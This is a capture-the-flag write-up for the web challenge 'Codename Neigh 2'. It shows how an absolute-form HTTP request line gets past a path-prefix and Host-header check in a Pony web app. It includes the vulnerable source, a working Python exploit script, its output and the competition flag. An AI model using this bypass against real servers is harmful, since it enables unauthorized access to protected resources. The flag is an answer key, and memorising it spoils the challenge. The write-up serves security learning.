//Codename Neigh 2 - Writeup
Category: Web
Author: xseven
Flag: nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}
>Challenge Description
Beyond the familiar chronometers lies the Temporal Nexus, where a desperate plea for the lost Neigh echoes through history. If the last trial felt light, prepare for forbidden archives, paradoxes, and enigmas that span epochs.
We're given source code for a web application written in Pony (an actor-model, capabilities-secure programming language) and need to retrieve a hidden flag.
>Initial Analysis
Source Code Structure
After extracting the challenge files, we have:
├── Dockerfile
├── docker-compose.yml
└── app/
├── main.pony # Main application logic
├── private/
│ └── flag.html # The flag we need to access
└── public/
├── index.html
├── pony.html
├── report.html
├── error.html
└── style.css
Key Vulnerability in main.pony
The most important part is the /flag endpoint handler (class F):
class F is RequestHandler
let _fileauth: FileAuth
new val create(fileauth: FileAuth) =>
_fileauth = fileauth
fun not_starts_with(s: String, prefix: String): Bool =>
(s.size() >= prefix.size()) and (s.substring(0, prefix.size().isize()) != prefix)
fun apply(ctx: Context): Context iso^ =>
var conn: String = ""
var body = "[REDACTED]".array()
try
conn = ctx.request.header("Host") as String
end
let path: String = ctx.request.uri().string()
if (conn == "127.0.0.1") and not_starts_with(path, "flag") and not_starts_with(path, "/flag") then
let fpath = FilePath(_fileauth, "private/flag.html")
with file = File(fpath) do
body = file.read_string(file.size()).string().array()
end
end
ctx.respond(
StatusResponse(StatusOK, [("Content-Length", body.size().string())]),
body
)
consume ctx
Understanding the Access Control Logic
The flag is returned only if ALL conditions are met:
-
✅
Hostheader equals exactly"127.0.0.1" -
✅ Path does NOT start with
"flag" -
✅ Path does NOT start with
"/flag"
The path is obtained from ctx.request.uri().string() - this is the key vulnerability point.
>The Vulnerability: Absolute URI Bypass
HTTP Request-Target Forms
According to RFC 7230, HTTP requests can use different "request-target" formats:
-
origin-form (most common):
GET /flag HTTP/1.1 -
absolute-form:
GET http://127.0.0.1/flag HTTP/1.1 -
authority-form: Used for CONNECT
-
asterisk-form: Used for OPTIONS
When we use absolute-form, the URI string includes the full URL with scheme!
The Bypass
| Request Form | uri().string() returns | Starts with /flag? |
|-------------|--------------------------|---------------------|
| GET /flag | /flag | ✅ Yes - BLOCKED |
| GET http://127.0.0.1/flag | http://127.0.0.1/flag | ❌ No - BYPASSED! |
The absolute URI starts with http://, not /flag, bypassing the security check while still routing to the /flag endpoint!
>Local Exploitation
Step 1: Build and Run the Docker Container
# Fix docker-compose.yml if needed (remove 'name:' line for older versions)
docker build -t neigh2 .
docker run -d -p 9082:9082 --name neigh2_container neigh2
Step 2: Test the Vulnerability
# Normal request - BLOCKED
curl -s -H "Host: 127.0.0.1" "http://127.0.0.1:9082/flag"
# Response: [REDACTED]
# Absolute URI request - BYPASSED!
python3 -c "
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9082))
s.send(b'GET http://127.0.0.1/flag HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n')
print(s.recv(4096).decode())
"
Local Result:
HTTP/1.1 200 OK
Content-Length: 136
<!DOCTYPE html>
<html lang="en">
<body>
No pony here but you did find the flag:
<br>
<b>nullctf{secret}</b>
</body>
</html>
>Remote Exploitation
The Final Exploit Script
#!/usr/bin/env python3
"""
Codename Neigh 2 - CTF Exploit
Vulnerability: Absolute URI bypass in HTTP request line
The server checks if the path starts with "flag" or "/flag" to block access.
However, when using HTTP absolute URI form (GET http://127.0.0.1/flag HTTP/1.1),
the uri().string() returns the full URL starting with "http://", bypassing the check.
"""
import socket
import sys
def exploit(target_host, target_port):
"""
Exploit the path bypass vulnerability using absolute URI in request line.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
try:
s.connect((target_host, target_port))
# The key is using an absolute URI that:
# 1. Has Host header as 127.0.0.1 (checked by the server)
# 2. Routes to /flag endpoint (jennet routes based on path)
# 3. Has uri().string() NOT starting with "flag" or "/flag"
# Using absolute URI form accomplishes this: uri().string() returns "http://127.0.0.1/flag"
request = (
f"GET http://127.0.0.1/flag HTTP/1.1\r\n"
f"Host: 127.0.0.1\r\n"
f"Connection: close\r\n"
f"\r\n"
)
print(f"[*] Target: {target_host}:{target_port}")
print(f"[*] Sending crafted request with absolute URI...")
print(f"[DEBUG] Request:\n{request}")
s.send(request.encode())
response = b""
while True:
data = s.recv(4096)
if not data:
break
response += data
response_str = response.decode('utf-8', errors='replace')
print(f"[*] Response:\n{response_str}")
# Extract flag
if "nullctf{" in response_str:
start = response_str.find("nullctf{")
end = response_str.find("}", start) + 1
flag = response_str[start:end]
print(f"\n[+] FLAG FOUND: {flag}")
return flag
else:
print("[-] Flag not found in response")
return None
except Exception as e:
print(f"[-] Error: {e}")
return None
finally:
s.close()
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <host> <port>")
print(f"Example: {sys.argv[0]} localhost 9082")
print(f"Example: {sys.argv[0]} public.ctf.r0devnull.team 3003")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
exploit(host, port)
Running Against Remote
$ python3 solve.py public.ctf.r0devnull.team 3003
[*] Target: public.ctf.r0devnull.team:3003
[*] Sending crafted request with absolute URI...
[DEBUG] Request:
GET http://127.0.0.1/flag HTTP/1.1
Host: 127.0.0.1
Connection: close
[*] Response:
HTTP/1.1 200 OK
Connection: close
Content-Length: 175
<!DOCTYPE html>
<html lang="en">
<body>
No pony here but you did find the flag:
<br>
<b>nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}</b>
</body>
</html>
[+] FLAG FOUND: nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}
>Flag
nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}